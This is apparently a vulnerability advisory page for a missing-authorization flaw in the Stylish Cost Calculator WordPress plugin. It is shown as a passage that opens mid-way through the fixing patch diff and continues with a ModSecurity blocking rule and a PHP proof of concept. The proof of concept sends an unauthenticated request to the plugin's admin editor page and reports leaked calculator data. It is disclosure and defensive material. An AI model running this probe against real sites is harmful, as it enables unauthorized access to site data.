-			$data_args['form_id']
+		$total_items = (int) $wpdb->get_var( $wpdb->prepare(
+			"SELECT COUNT(*) FROM {$wpdb->prefix}df_scc_quote_submissions WHERE {$where};",
+			$params
 		) );
-
-		$total_items = empty( $total_items ) ? 0 : $total_items[0]->total;
 		// add data
 		$this->items       = $data;
 		$this->total_items = $total_items;
--- a/stylish-cost-calculator/admin/views/editCalcualtor.php
+++ b/stylish-cost-calculator/admin/views/editCalcualtor.php
@@ -5,22 +5,14 @@
 $defaultFields                = json_decode( '[{"name":{"name":"Your Name","description":"Type in your name","type":"text","isMandatory":null,"trnKey":"Your Name","deletable":false}},{"email":{"name":"Your Email","description":"Type in your email","type":"email","isMandatory":true,"trnKey":"Your Email","deletable":false}},{"phone":{"name":"Your Phone","description":"phone","type":"phone","isMandatory":null,"trnKey":"Your Phone (Optional)","deletable":false}}]', true );
 $formFieldsArray              = empty( $f1->formFieldsArray ) ? $defaultFields : json_decode( $f1->formFieldsArray, 1 );
 $paypalConfig                 = json_decode( $f1->paypalConfigArray, true );
-$stripeConfig                 = ( get_option( 'df_scc_stripe_keys' ) == '' ) ? [
-    'pubKey'  => null,
-    'privKey' => null,
-] : get_option( 'df_scc_stripe_keys' );
-$stripeConfig['enabled']      = $f1->isStripeEnabled && ( $f1->isStripeEnabled !== 'false' ) ? true : false;
 $stripeData                   = '';
-$isStripeSetupDone            = $stripeConfig['pubKey'] && $stripeConfig['privKey'];
+$isStripeSetupDone            = false;
 $isPayPalEnabled              = $paypalConfig && $paypalConfig['paypal_checked'] == 'true' ? true : false;
-$isStripeEnabled              = $stripeConfig && $stripeConfig['enabled'] == 'true' ? true : false;
+$isStripeEnabled              = false;
 $isWoocommerceCheckoutEnabled = $f1->isWoocommerceCheckoutEnabled == 'true' ? true : false;
 $isForceQuoteFormEnabled      = $f1->preCheckoutQuoteForm == 'true' ? true : false;
 $ShowFormBuilderOnDetails     = ( $f1->ShowFormBuilderOnDetails == 'false' || ! $f1->ShowFormBuilderOnDetails ) ? false : true;

-if ( $isStripeSetupDone ) {
-    $stripeDataAttr = 'data-pub-key=' . $stripeConfig['pubKey'] . ' ' . 'data-priv-key=' . $stripeConfig['privKey'];
-}
 $df_scc_form_currency = get_option( 'df_scc_currency', 'USD' );
 $isWoocommerceActive  = false;

@@ -29,50 +21,154 @@
 }
 $isWoocommerceCheckoutEnabled = $f1->isWoocommerceCheckoutEnabled == 'true' ? true : false;

-if ( $isWoocommerceActive && get_option( 'df_scc_licensed' ) == 1 && $isWoocommerceCheckoutEnabled ) {
-    $woo_commerce_products = [];
-    $args                  = [
-        'post_type'      => 'product',
-        'posts_per_page' => -1,
-    ];
-    $loop                  = new WP_Query( $args );
-
-    while ( $loop->have_posts() ) {
-        $loop->the_post();
-        global $product;
-        array_push( $woo_commerce_products, $product );
-    }
-    wp_reset_query();
-}
-// preparing an array for use in dropdown choices in the elements added via ajax
+// WooCommerce product choices are loaded lazily from AJAX when a product picker is used.
 $woocommerce_products_array = [];
 $icon_trash                 = $scc_icons['trash-2'] ?? $scc_icons['trash'] ?? '';
-
-if ( $isWoocommerceCheckoutEnabled && $isWoocommerceActive ) {
-    foreach ( $woo_commerce_products as $product ) {
-        if ( $product->is_type( 'variable' ) ) {
-            $available_variations = $product->get_available_variations();
-
-            foreach ( $available_variations as $product_variable ) {
-                $attributes = [];
-
-                foreach ( $product_variable['attributes'] as $key => $value ) {
-                    $attributes[] = $product->get_name() . ': ' . $value;
-                }
-                array_push( $woocommerce_products_array, [ esc_html( $product_variable['variation_id'] ) => esc_html( implode( ' | ', $attributes ) ) . ' | Price: ' . get_woocommerce_currency_symbol() . '' . esc_html( $product_variable['display_regular_price'] ) ] );
-            }
-        } else {
-            array_push( $woocommerce_products_array, [ esc_html( $product->get_id() ) => esc_html( $product->get_name() ) . ' | Price: ' . get_woocommerce_currency_symbol() . '' . esc_html( $product->get_price() ) ] );
-        }
-    }
-}
 wp_localize_script( 'scc-backend', 'pageEditCalculator', [ 'nonce' => wp_create_nonce( 'edit-calculator-page' ) ] );
-$edit_page_func = new Stylish_Cost_Calculator_Edit_Page();
+$edit_page_func = new Stylish_Cost_Calculator_Edit_Page( false, false, $isWoocommerceCheckoutEnabled && $isWoocommerceActive );
+$scc_json_encode_flags = JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT;
 ?>

-<script id="scc-data-schema" type="text/json"><?php echo json_encode( $f1->sections ); ?></script>
+<script id="scc-data-schema" type="text/json"><?php echo wp_json_encode( $f1->sections, $scc_json_encode_flags ); ?></script>
 <script>
-	window["woocommerceProducts"] = <?php echo json_encode( $woocommerce_products_array ); ?>;
+	window["woocommerceProducts"] = <?php echo wp_json_encode( $woocommerce_products_array, $scc_json_encode_flags ); ?>;
+	window["woocommerceProductsLoaded"] = false;
+	window["woocommerceProductsLoading"] = false;
+	function sccEscapeHtml(value) {
+		const safeValue = (value === null || typeof value === 'undefined') ? '' : value;
+		return String(safeValue).replace(/[&<>"']/g, function(char) {
+			return {
+				'&': '&',
+				'<': '<',
+				'>': '>',
+				'"': '"',
+				"'": '''
+			}[char];
+		});
+	}
+	function sccNormalizeWooProductOption(option) {
+		if (option && typeof option === 'object' && option.id) {
+			return {
+				id: option.id,
+				label: option.label || option.name || option.id
+			};
+		}
+		if (option && typeof option === 'object') {
+			const keys = Object.keys(option);
+			if (keys.length) {
+				return {
+					id: keys[0],
+					label: option[keys[0]]
+				};
+			}
+		}
+		return null;
+	}
+	function sccGetWooCommerceProductOptionsMarkup(selectedValue = '') {
+		return (window.woocommerceProducts || []).map(function(option) {
+			const normalized = sccNormalizeWooProductOption(option);
+			if (!normalized) {
+				return '';
+			}
+			const selected = String(normalized.id) === String(selectedValue) ? ' selected' : '';
+			return `<option value="${sccEscapeHtml(normalized.id)}"${selected}>${sccEscapeHtml(normalized.label)}</option>`;
+		}).join('n');
+	}
+	function sccPopulateWooCommerceProductSelect(select) {
+		if (!select) {
+			return;
+		}
+		const selectedValue = select.value || select.getAttribute('data-selected-value') || '';
+		select.querySelectorAll('option[data-scc-lazy-product="1"]').forEach(function(option) {
+			option.remove();
+		});
+		const existingValues = new Set(Array.from(select.options).map(function(option) {
+			return String(option.value);
+		}));
+		const optionsMarkup = (window.woocommerceProducts || []).map(function(option) {
+			const normalized = sccNormalizeWooProductOption(option);
+			if (!normalized || existingValues.has(String(normalized.id))) {
+				return '';
+			}
+			const selected = String(normalized.id) === String(selectedValue) ? ' selected' : '';
+			return `<option data-scc-lazy-product="1" value="${sccEscapeHtml(normalized.id)}"${selected}>${sccEscapeHtml(normalized.label)}</option>`;
+		}).join('n');
+		select.insertAdjacentHTML('beforeend', optionsMarkup);
+		select.value = selectedValue;
+	}
+	function sccLoadWooCommerceProductOptions(select) {
+		if (window.woocommerceProductsLoaded) {
+			sccPopulateWooCommerceProductSelect(select);
+			return;
+		}
+		if (window.woocommerceProductsLoading) {
+			return;
+		}
+		window.woocommerceProductsLoading = true;
+		jQuery.ajax({
+			url: ajaxurl,
+			type: 'POST',
+			data: {
+				action: 'scc_get_woocommerce_products',
+				nonce: pageEditCalculator.nonce
+			},
+			success: function(response) {
+				if (response && response.success && response.data && Array.isArray(response.data.products)) {
+					window.woocommerceProducts = response.data.products;
+					window.woocommerceProductsLoaded = true;
+					document.querySelectorAll('.scc_woo_commerce_product_id, .scc-woo-commerce-product-selector').forEach(sccPopulateWooCommerceProductSelect);
+				}
+			},
+			complete: function() {
+				window.woocommerceProductsLoading = false;
+			}
+		});
+	}
+	function sccInitWooCommerceProductSelect(select) {
+		if (!select) {
+			return;
+		}
+		if (select.tomselect) {
+			return;
+		}
+		if (typeof TomSelect === 'undefined') {
+			sccLoadWooCommerceProductOptions(select);
+			return;
+		}
+		new TomSelect(select, {
+			valueField: 'id',
+			labelField: 'label',
+			searchField: 'label',
+			maxOptions: 100,
+			preload: 'focus',
+			loadThrottle: 300,
+			load: function(query, callback) {
+				jQuery.ajax({
+					url: ajaxurl,
+					type: 'POST',
+					data: {
+						action: 'scc_get_woocommerce_products',
+						nonce: pageEditCalculator.nonce,
+						search: query || '',
+						limit: 100
+					},
+					success: function(response) {
+						if (response && response.success && response.data && Array.isArray(response.data.products)) {
+							callback(response.data.products);
+							return;
+						}
+						callback();
+					},
+					error: function() {
+						callback();
+					}
+				});
+			}
+		});
+	}
+	jQuery(document).on('focus click', '.scc_woo_commerce_product_id, .scc-woo-commerce-product-selector', function() {
+		sccInitWooCommerceProductSelect(this);
+	});
 	jQuery(document).ready(function() {
 		var isNewCalculator = "<?php echo ( isset( $_GET['new'] ) ) ? 1 : 0; ?>"
 		if (isNewCalculator == 1) {
@@ -80,7 +176,7 @@
 		}
 	})
 	let datacal = JSON.parse(String.raw`${document.querySelector('#scc-data-schema').innerText}`)
-	cal = getElmtsNCndns(datacal)
+	let cal = getElmtsNCndns(datacal)
 	//extracts data from json
 	function getElmtsNCndns(data) {
 		let o = []
@@ -1061,6 +1157,20 @@
 </div>
 <div class="modal df-scc-modal fade in" id="webhook-setup-placeholder" style="padding-right: 0px;" role="dialog" data-backdrop="0"></div>
 <script type="text/javascript">
+	var sccEditorDebounceTimers = {};
+
+	function sccDebounceEditorSave(debounceKey, callback, wait) {
+		clearTimeout(sccEditorDebounceTimers[debounceKey])
+		sccEditorDebounceTimers[debounceKey] = setTimeout(function() {
+			delete sccEditorDebounceTimers[debounceKey]
+			callback()
+		}, wait)
+	}
+
+	function sccEditorAjaxFailure() {
+		showSweet(false, "There was an error, please try again")
+	}
+
 	/** preview */
 	/**
 	 * *Loads the preview with page load
@@ -1366,6 +1476,9 @@
 					sccBackendUtils.handleTooltipAjaxAddedElements( clonedElement[ 0 ] );
 					sccFlatpickrInitBackend();
 				}
+			},
+			error: function() {
+				sccEditorAjaxFailure();
 			}
 		})
 		//reder duplicated element in dom
@@ -1438,9 +1551,14 @@
 					sccBackendUtils.disableSaveBtnAjax(true, element);
 				},
 				success: function(data) {
-					sccBackendUtils.disableSaveBtnAjax(false, element);
 					var datajson = JSON.parse(data)
 					sccBackendUtils.handleSavingAlert(data, true);
+				},
+				error: function() {
+					sccEditorAjaxFailure();
+				},
+				complete: function() {
+					sccBackendUtils.disableSaveBtnAjax(false, element);
 				}
 			})
 		}
@@ -1644,19 +1762,13 @@
 	 * *On keyup changes title section in db and updates title text in section
 	 * @param Section_id,text
 	 */
-	var timeChangeTitleSection = null
-
 	function changeTitleSection(element) {
 		var idSection = jQuery(element).parents(".addedFieldsStyle").find(".id_section_class").val()
 		var text = jQuery(element).parents(".title_section_no_edit_container").find(".title_section_no_edit")
 		var value = jQuery(element).val()
 		text.text(value)
-		jQuery(element).focusout(function() {
-			timeChangeTitleSection = 0
-		})
 		sccBackendUtils.disableSaveBtnAjax(true);
-		clearTimeout(timeChangeTitleSection)
-		timeChangeTitleSection = setTimeout(() => {
+		sccDebounceEditorSave('section:' + idSection + ':title', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -1667,9 +1779,14 @@
 					nonce: pageEditCalculator.nonce
 				},
 				success: function(data) {
-					sccBackendUtils.disableSaveBtnAjax(false);
 					var datajson = JSON.parse(data)
 					sccBackendUtils.handleSavingAlert(datajson, true);
+				},
+				error: function() {
+					sccEditorAjaxFailure();
+				},
+				complete: function() {
+					sccBackendUtils.disableSaveBtnAjax(false);
 				}
 			})
 		}, 2000);
@@ -1677,19 +1794,13 @@
 	/**
 	 * *On keyup changes description section in db and updates description text in section
 	 */
-	var timechangeDescriptionSection = null
-
 	function changeDescriptionSection(element) {
 		var idSection = jQuery(element).parents(".addedFieldsStyle").find(".id_section_class").val()
 		var text = jQuery(element).parents(".description_section_no_edit_container").find(".description_section_no_edit")
 		var value = jQuery(element).val()
 		text.text(value)
-		jQuery(element).focusout(function() {
-			timechangeDescriptionSection = 0
-		})
 		sccBackendUtils.disableSaveBtnAjax(true);
-		clearTimeout(timechangeDescriptionSection)
-		timechangeDescriptionSection = setTimeout(() => {
+		sccDebounceEditorSave('section:' + idSection + ':description', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -1700,9 +1811,14 @@
 					nonce: pageEditCalculator.nonce
 				},
 				success: function(data) {
-					sccBackendUtils.disableSaveBtnAjax(false);
 					var datajson = JSON.parse(data)
 					sccBackendUtils.handleSavingAlert(datajson, true);
+				},
+				error: function() {
+					sccEditorAjaxFailure();
+				},
+				complete: function() {
+					sccBackendUtils.disableSaveBtnAjax(false);
 				}
 			})
 		}, 2000);
@@ -1802,16 +1918,10 @@
 	 * *Onkeyup changes column DesktopColum of element
 	 * @param element_id
 	 */
-	var timeColumnDesktop = null
-
 	function changeColumnDesktop(element) {
 		var element_id = jQuery(element).parentsUntil(".elements_added").parent().find(".input_id_element").val()
 		var value = jQuery(element).val()
-		jQuery(element).focusout(function() {
-			timeColumnDesktop = 0
-		})
-		clearTimeout(timeColumnDesktop)
-		timeColumnDesktop = setTimeout(() => {
+		sccDebounceEditorSave('element:' + element_id + ':desktop', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -1833,16 +1943,10 @@
 	 * *Onkeyup changes mobileColumn of element
 	 * @param element_id
 	 */
-	var timeColumnMobile = null
-
 	function changeColumnMobile(element) {
 		var element_id = jQuery(element).parentsUntil(".elements_added").parent().find(".input_id_element").val()
 		var value = jQuery(element).val()
-		jQuery(element).focusout(function() {
-			timeColumnMobile = 0
-		})
-		clearTimeout(timeColumnMobile)
-		timeColumnMobile = setTimeout(() => {
+		sccDebounceEditorSave('element:' + element_id + ':mobile', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -1886,9 +1990,14 @@
 					sccBackendUtils.disableSaveBtnAjax(true, element);
 				},
 				success: function(data) {
-					sccBackendUtils.disableSaveBtnAjax(false, element);
 					var datajson = JSON.parse(data)
 					sccBackendUtils.handleSavingAlert(datajson, false);
+				},
+				error: function() {
+					sccEditorAjaxFailure();
+				},
+				complete: function() {
+					sccBackendUtils.disableSaveBtnAjax(false, element);
 				}
 			})
 		}
@@ -2074,7 +2183,6 @@
 				nonce: pageEditCalculator.nonce
 			},
 			success: function(data) {
-				sccBackendUtils.disableSaveBtnAjax(false, element);
 				var datajson = JSON.parse(data)
 				if (datajson.passed == true) {
 					var item = newPriceRangeItem(previousTo, datajson.id_elementitem)
@@ -2084,6 +2192,12 @@
 					}, 1000);
 				}
 				sccBackendUtils.handleSavingAlert(datajson, true);
+			},
+			error: function() {
+				sccEditorAjaxFailure();
+			},
+			complete: function() {
+				sccBackendUtils.disableSaveBtnAjax(false, element);
 			}
 		})

@@ -2154,12 +2268,17 @@
 				sccBackendUtils.disableSaveBtnAjax(true, element);
 			},
 			success: function(data) {
-				sccBackendUtils.disableSaveBtnAjax(false, element);
 				var response = JSON.parse(data);
 				if (response.passed == true) {
 					elementItem.remove()
 				}
 				sccBackendUtils.handleSavingAlert(response, true, true);
+			},
+			error: function() {
+				sccEditorAjaxFailure();
+			},
+			complete: function() {
+				sccBackendUtils.disableSaveBtnAjax(false, element);
 			}
 		})
 	}
@@ -2168,17 +2287,11 @@
 	 * !this value1 is use multiple tipe for more that one element
 	 * @param element_id
 	 */
-	var timeElementitemValue1 = null
-
 	function changeElementItemValue1(element) {
 		var elementSetupContainer = jQuery(element).closest('.elements_added')
 		var id_elementItem = jQuery(element).closest('.price-slider-item').find('input.id_element_slider_item').val()
 		var value = jQuery(element).val()
-		jQuery(element).focusout(function() {
-			timeElementitemValue1 = 0
-		})
-		clearTimeout(timeElementitemValue1)
-		timeElementitemValue1 = setTimeout(() => {
+		sccDebounceEditorSave('element-item:' + id_elementItem + ':value1', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -2205,16 +2318,10 @@
 	 * !this value2 is use multiple times for more than one element
 	 * @param element_id
 	 */
-	var timeElementitemValue2 = null
-
 	function changeElementItemValue2(element) {
 		var id_elementItem = jQuery(element).closest('.price-slider-item').find('input.id_element_slider_item').val()
 		var value = jQuery(element).val()
-		jQuery(element).focusout(function() {
-			timeElementitemValue2 = 0
-		})
-		clearTimeout(timeElementitemValue2)
-		timeElementitemValue2 = setTimeout(() => {
+		sccDebounceEditorSave('element-item:' + id_elementItem + ':value2', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -2235,16 +2342,10 @@
 	 * *Updates column value3 of element in db
 	 * !this value2 is use multiple times for more than one element
 	 */
-	var timeElementitemValue3 = null
-
 	function changeElementItemValue3(element) {
 		var id_elementItem = jQuery(element).closest('.price-slider-item').find('input.id_element_slider_item').val()
 		var value = jQuery(element).val()
-		jQuery(element).focusout(function() {
-			timeElementitemValue3 = 0
-		})
-		clearTimeout(timeElementitemValue3)
-		timeElementitemValue3 = setTimeout(() => {
+		sccDebounceEditorSave('element-item:' + id_elementItem + ':value3', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -2421,8 +2522,6 @@
 	 * *Updates the column value4 of element in db
 	 * !this value4 is use multiple times for more than one element
 	 */
-	var timeElementValue4 = null
-
 	function changeValue4(element) {
 		var id_element = jQuery(element).closest('.elements_added').find(".input_id_element").val()
 		var value = jQuery(element).val()
@@ -2432,12 +2531,8 @@
 			value = jQuery(element).prop('checked')
 			time = 0
 		}
-		jQuery(element).focusout(function() {
-			timeElementValue4 = 0
-		})
 		sccBackendUtils.disableSaveBtnAjax(true, element);
-		clearTimeout(timeElementValue4)
-		timeElementValue4 = setTimeout(() => {
+		sccDebounceEditorSave('element:' + id_element + ':value4', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -2448,9 +2543,14 @@
 					nonce: pageEditCalculator.nonce
 				},
 				success: function(data) {
-					sccBackendUtils.disableSaveBtnAjax(false, element);
 					var datajson = JSON.parse(data)
 					sccBackendUtils.handleSavingAlert(datajson, true);
+				},
+				error: function() {
+					sccEditorAjaxFailure();
+				},
+				complete: function() {
+					sccBackendUtils.disableSaveBtnAjax(false, element);
 				}
 			})
 		}, time);
@@ -2460,18 +2560,12 @@
 	 * !this value3 is use multiple times for more than one element
 	 * @param element_id
 	 */
-	var timeElementValue3
-
 	function changeValue3(element) {
 		var el_container = jQuery(element).closest('.elements_added')
-		id_element = el_container.find(".input_id_element").val()
+		var id_element = el_container.find(".input_id_element").val()
 		var value = jQuery(element).val()
-		jQuery(element).focusout(function() {
-			timeElementValue3 = 0
-		})
 		sccBackendUtils.disableSaveBtnAjax(true, element);
-		clearTimeout(timeElementValue3)
-		timeElementValue3 = setTimeout(() => {
+		sccDebounceEditorSave('element:' + id_element + ':value3', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -2482,9 +2576,14 @@
 					nonce: pageEditCalculator.nonce
 				},
 				success: function(data) {
-					sccBackendUtils.disableSaveBtnAjax(false, element);
 					var datajson = JSON.parse(data)
 					sccBackendUtils.handleSavingAlert(datajson, false);
+				},
+				error: function() {
+					sccEditorAjaxFailure();
+				},
+				complete: function() {
+					sccBackendUtils.disableSaveBtnAjax(false, element);
 				}
 			})
 		}, 2000);
@@ -2494,18 +2593,12 @@
 	 * !this value2 is use multiple times for more than one element
 	 * @param element_id
 	 */
-	var timeElementValue2 = null
-
 	function changeValue2(element) {
 		var id_element = jQuery(element).closest('.elements_added').find(".input_id_element").css("background-color", "red").val()
 		var value = jQuery(element).val()
-		jQuery(element).focusout(function() {
-			timeElementValue2 = 0
-		})
 		var tt = jQuery(element).attr('data-type')
 		sccBackendUtils.disableSaveBtnAjax(true, element);
-		clearTimeout(timeElementValue2)
-		timeElementValue2 = setTimeout(() => {
+		sccDebounceEditorSave('element:' + id_element + ':value2', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -2517,10 +2610,15 @@
 					tt
 				},
 				success: function(data) {
-					sccBackendUtils.disableSaveBtnAjax(false, element);
 					var datajson = JSON.parse(data)

 					sccBackendUtils.handleSavingAlert(datajson, false);
+				},
+				error: function() {
+					sccEditorAjaxFailure();
+				},
+				complete: function() {
+					sccBackendUtils.disableSaveBtnAjax(false, element);
 				}
 			})
 		}, 2000);
@@ -2651,7 +2749,6 @@
 				is_image_checkbox: (type == 8)
 			},
 			success: function(data) {
-				sccBackendUtils.disableSaveBtnAjax(false, element);
 				var response = JSON.parse(data);
 				if (response.passed == true) {
 					// var newElementitem = newElementItemCheckbox(response.id_element, count, type);
@@ -2659,6 +2756,12 @@
 					toolPrem()
 				}
 				sccBackendUtils.handleSavingAlert(response, true, true);
+			},
+			error: function() {
+				sccEditorAjaxFailure();
+			},
+			complete: function() {
+				sccBackendUtils.disableSaveBtnAjax(false, element);
 			}
 		})
 	}
@@ -2741,7 +2844,6 @@
 				if ( type == 'element' ) {
 					datajson = JSON.parse( data );
 				}
-				sccBackendUtils.disableSaveBtnAjax( false, formField );

 				// handle frontend changes after response
 				const imageIcon = formField.closest( '.scc-icon-picker' ).querySelector( '.scc-image-icon' );
@@ -2753,6 +2855,9 @@
 				sccBackendUtils.handleSavingAlert( datajson );
 			},
 			error( err ) {
+				sccEditorAjaxFailure();
+			},
+			complete() {
 				sccBackendUtils.disableSaveBtnAjax( false, formField );
 			},
 		} );
@@ -2872,9 +2977,14 @@
 				sccBackendUtils.disableSaveBtnAjax(true, element);
 			},
 			success: function(data) {
-				sccBackendUtils.disableSaveBtnAjax(false, element);
 				var datajson = JSON.parse(data)
 				sccBackendUtils.handleSavingAlert(datajson, false);
+			},
+			error: function() {
+				sccEditorAjaxFailure();
+			},
+			complete: function() {
+				sccBackendUtils.disableSaveBtnAjax(false, element);
 			}
 		})
 	}
@@ -2931,8 +3041,6 @@
 	 * todo: Not all elements have title
 	 * @param element_id
 	 */
-	var timeTitledropdown = null
-
 	function clickedTitleElement(element) {
 		var elementSetupContainer = jQuery(element).closest('.elements_added')
 		var id_element = elementSetupContainer.find(".input_id_element").val()
@@ -2940,13 +3048,10 @@
 		var text = jQuery(element).val()
 		var truncatedText = truncateElementTitle(text, 30)
 		jQuery(title_element_dom).text(truncatedText)
-		jQuery(element).focusout(function() {
-			timeTitledropdown = 0
-		});
 		sccBackendUtils.disableSaveBtnAjax(true, element);
-		clearTimeout(timeTitledropdown)
-		timeTitledropdown = setTimeout(() => {
+		sccDebounceEditorSave('element:' + id_element + ':title', function() {
 			if (text == "") {
+				sccBackendUtils.disableSaveBtnAjax(false, element);
 				showSweet(false, "the title is empty")
 				return
 			}
@@ -2960,9 +3065,14 @@
 					nonce: pageEditCalculator.nonce
 				},
 				success: function(data) {
-					sccBackendUtils.disableSaveBtnAjax(false, element);
 					var datajson = JSON.parse(data)
 					sccBackendUtils.handleSavingAlert(datajson, false);
+				},
+				error: function() {
+					sccEditorAjaxFailure();
+				},
+				complete: function() {
+					sccBackendUtils.disableSaveBtnAjax(false, element);
 				}
 			})
 		}, 2000);
@@ -2971,24 +3081,18 @@
 	 * *Updates name elementItem of DropdownElement
 	 * @param elementItem_id
 	 */
-	var titmeNameElementItem = null
-
 	function changeNameElementItem(element, idFromDataAttribute = false) {
 		var itemContainer = jQuery(element).closest(".scc-item-field-container, .dd-item-field-container");
 		var id_elemntItem = jQuery(element).closest(".selopt3").find(".swichoptionitem_id").val()
 		if (itemContainer.length) {
 			id_elemntItem = itemContainer.data('elementItemId')
 		}
-		jQuery(element).focusout(function() {
-			titmeNameElementItem = 0
-		});
 		var name = jQuery(element).val();
 		if (itemContainer.length) {
 			jQuery(".display_title_" + itemContainer.data('elementItemId')).text(name);
 		}
 		sccBackendUtils.disableSaveBtnAjax(true, element);
-		clearTimeout(titmeNameElementItem)
-		titmeNameElementItem = setTimeout(() => {
+		sccDebounceEditorSave('element-item:' + id_elemntItem + ':name', function() {
 			// showLoadingChanges()
 			jQuery.ajax({
 				url: ajaxurl,
@@ -3000,8 +3104,13 @@
 					nonce: pageEditCalculator.nonce
 				},
 				success: function(data) {
-					sccBackendUtils.disableSaveBtnAjax(false, element);
 					sccBackendUtils.handleSavingAlert(data, false);
+				},
+				error: function() {
+					sccEditorAjaxFailure();
+				},
+				complete: function() {
+					sccBackendUtils.disableSaveBtnAjax(false, element);
 				}
 			})
 		}, 2000);
@@ -3010,8 +3119,6 @@
 	 * *Updates description elementItem of Dropdown
 	 * @param elementItem_id
 	 */
-	var timeDescriptionElementItem = null
-
 	function changeDescriptionElementItem(element, idFromDataAttribute = false) {
 		var itemContainer = jQuery(element).closest(".scc-item-field-container, .dd-item-field-container");
 		var id_elemntItem = jQuery(element).closest(".selopt3").find(".swichoptionitem_id").val()
@@ -3019,12 +3126,8 @@
 			id_elemntItem = itemContainer.data('elementItemId')
 		}
 		var description = jQuery(element).val();
-		jQuery(element).focusout(function() {
-			timeDescriptionElementItem = 0
-		})
 		sccBackendUtils.disableSaveBtnAjax(true, element);
-		clearTimeout(timeDescriptionElementItem)
-		timeDescriptionElementItem = setTimeout(() => {
+		sccDebounceEditorSave('element-item:' + id_elemntItem + ':description', function() {
 			jQuery.ajax({
 				url: ajaxurl,
 				cache: false,
@@ -3035,8 +3138,13 @@
 					nonce: pageEditCalculator.nonce
 				},
 				success: function(data) {
-					sccBackendUtils.disableSaveBtnAjax(false, element);
 					sccBackendUtils.handleSavingAlert(data, false);
+				},
+				error: function() {
+					sccEditorAjaxFailure();
+				},
+				complete: function() {
+					sccBackendUtils.disableSaveBtnAjax(false, element);
 				}
 			})
 		}, 2000);
@@ -3045,8 +3153,6 @@
 	 * *Updates price elementItem of Drop

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-54847
# This rule blocks unauthenticated access to the vulnerable admin page endpoint
# The vulnerability is triggered via admin.php with page=scc_edit_items
SecRule REQUEST_URI "@streq /wp-admin/admin.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-54847: Stylish Cost Calculator missing authorization on edit calculator page',severity:'CRITICAL',tag:'CVE-2026-54847',tag:'wordpress',tag:'stylish-cost-calculator'"
  SecRule ARGS_GET:page "@streq scc_edit_items" 
    "chain"
    SecRule ARGS_GET:id_form "@rx ^[0-9]+$" 
      "chain"
      SecRule REQUEST_COOKIES:/^wordpress_logged_in_/ "@eq 0" 
        "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54847 - Stylish Cost Calculator – Quote Generator, Lead Gen & Price Estimator <= 8.3.9 - Missing Authorization

// This PoC demonstrates unauthenticated access to the calculator editor admin page.
// The attacker can retrieve calculator details without any authentication.

$target_url = 'http://example.com'; // Change this to the target WordPress site URL

// Step 1: Attempt to access the calculator editor page without authentication
// The vulnerable endpoint is wp-admin/admin.php with page=scc_edit_items and a valid id_form parameter

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=scc_edit_items&id_form=1');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_HEADER, false);
// Do not send any authentication cookies or headers
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 2: Check if the request succeeded
// If the vulnerability exists, the response will contain calculator data (HTML with form details)
// If patched, the server will return a 403 or redirect with 'You do not have permission'

if ($http_code === 200) {
    // Check for signs of admin page content (calculator editor interface)
    if (strpos($response, 'scc_edit_items') !== false || strpos($response, 'calculator') !== false) {
        echo "[+] Vulnerability confirmed: Unauthenticated access to calculator editor page.n";
        echo "[+] HTTP Status: $http_coden";
        echo "[+] Response snippet:n";
        // Display a portion of the response (first 500 chars)
        echo substr($response, 0, 500) . "...n";
    } else {
        echo "[+] Request succeeded but response does not contain calculator editor content.n";
        echo "[+] HTTP Status: $http_coden";
    }
} elseif ($http_code === 302 || $http_code === 301) {
    echo "[-] Redirect detected (HTTP $http_code). The site may have authentication enforced.n";
    echo "[-] Vulnerability likely not exploitable without a valid session.n";
} elseif ($http_code === 403) {
    echo "[-] Access denied (HTTP 403). The patch may be applied.n";
} else {
    echo "[?] Unexpected HTTP status: $http_coden";
}

echo "n[*] To test with a different calculator ID, change the id_form parameter in the URL.n";
echo "[*] Example: $target_url/wp-admin/admin.php?page=scc_edit_items&id_form=2n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
